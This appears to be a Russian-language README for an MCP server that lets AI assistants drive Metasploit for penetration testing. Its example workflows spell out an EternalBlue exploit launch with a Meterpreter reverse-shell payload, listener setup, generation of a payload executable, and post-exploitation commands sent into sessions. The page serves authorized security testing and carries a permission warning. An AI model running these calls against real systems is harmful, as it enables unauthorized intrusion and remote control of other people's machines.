Metasploit MCP-сервер
Сервер Model Context Protocol (MCP) для интеграции Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Описание
Этот сервер MCP обеспечивает мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет помощникам ИИ динамически получать доступ и управлять функциональностью Metasploit с помощью стандартизированных инструментов, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.
Функции
Информация о модуле
- list_exploits : Поиск и составление списка доступных модулей эксплойтов Metasploit
- list_payloads : Поиск и составление списка доступных модулей полезной нагрузки Metasploit с дополнительной фильтрацией по платформам и архитектурам
Рабочий процесс эксплуатации
- run_exploit : настроить и выполнить эксплойт против цели с возможностью предварительного запуска проверок
- run_auxiliary_module : запуск любого вспомогательного модуля Metasploit с пользовательскими параметрами
- run_post_module : Выполнение модулей пост-эксплуатации для существующих сеансов
Генерация полезной нагрузки
- generate_payload : Генерация файлов полезной нагрузки с помощью Metasploit RPC (сохраняет файлы локально)
Управление сеансом
- list_active_sessions : Показать текущие сеансы Metasploit с подробной информацией
- send_session_command : запуск команды в активной оболочке или сеансе Meterpreter
- terminate_session : Принудительно завершить активный сеанс
Управление обработчиками
- list_listeners : Показать все активные обработчики и фоновые задания
- start_listener : создать новый multi/handler для приема подключений
- stop_job : завершить любое запущенное задание или обработчик
Предпосылки
- Metasploit Framework установлен и msfrpcd запущен
- Python 3.10 или выше
- Необходимые пакеты Python (см. requirements.txt)
Установка
- Клонировать этот репозиторий
- Установить зависимости:
- Настройте переменные среды (необязательно):
Использование
Запустите службу Metasploit RPC:
Варианты транспорта
Сервер поддерживает два метода транспортировки:
- HTTP/SSE (события, отправленные сервером) : режим по умолчанию для взаимодействия с большинством клиентов MCP
- STDIO (стандартный ввод/вывод) : используется с Claude Desktop и аналогичными прямыми трубными соединениями.
Вы можете явно выбрать режим транспорта с помощью флага --transport
:
Дополнительные параметры для режима HTTP:
Интеграция рабочего стола Клода
Для интеграции Claude Desktop настройте claude_desktop_config.json
:
Другие клиенты MCP
Для других клиентов MCP, использующих HTTP/SSE:
- Запустите сервер в режиме HTTP:
- Настройте свой клиент MCP для подключения к:
- Конечная точка SSE:
http://your-server-ip:8085/sse
- Конечная точка SSE:
Соображения безопасности
⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ :
Этот инструмент обеспечивает прямой доступ к возможностям Metasploit Framework, которые включают мощные функции эксплуатации. Используйте ответственно и только в средах, где у вас есть явное разрешение на выполнение тестирования безопасности.
- Всегда проверяйте и пересматривайте все команды перед выполнением.
- Запускать только в отдельных тестовых средах или при наличии соответствующего разрешения.
- Помните, что команды после эксплуатации могут привести к значительным изменениям в системе.
Примеры рабочих процессов
Базовая эксплуатация
- Список доступных эксплойтов:
list_exploits("ms17_010")
- Выберите и запустите эксплойт:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Список сеансов:
list_active_sessions()
- Выполнить команды:
send_session_command(1, "whoami")
Пост-эксплуатация
- Запустить пост-модуль:
run_post_module("windows/gather/enum_logged_on_users", 1)
- Отправка пользовательских команд:
send_session_command(1, "sysinfo")
- Завершить по завершении:
terminate_session(1)
Управление обработчиками
- Запустить прослушиватель:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- Список активных обработчиков:
list_listeners()
- Сгенерировать полезную нагрузку:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Остановить обработчик:
stop_job(1)
Параметры конфигурации
Каталог сохранения полезной нагрузки
По умолчанию полезные данные, сгенерированные с помощью generate_payload
сохраняются в каталоге payloads
в вашей домашней папке ( ~/payloads
или C:\Users\YourUsername\payloads
). Вы можете настроить это местоположение, установив переменную среды PAYLOAD_SAVE_DIR
.
Установка переменной среды:
- Windows (PowerShell) :
- Windows (командная строка) :
- Linux/macOS :
- В конфигурации Claude Desktop :
Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация полезной нагрузки может завершиться неудачей.
Лицензия
Апач 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
Обеспечивает связь между большими языковыми моделями и фреймворком Metasploit, позволяя помощникам с искусственным интеллектом получать доступ к функциям тестирования на проникновение и управлять ими с помощью естественного языка.
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -11Python
- -securityFlicense-qualityEnables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.Last updated -JavaScript
- AsecurityFlicenseAqualityA Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.Last updated -210Python
- -security-license-qualityA module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.Last updated -PythonGPL 3.0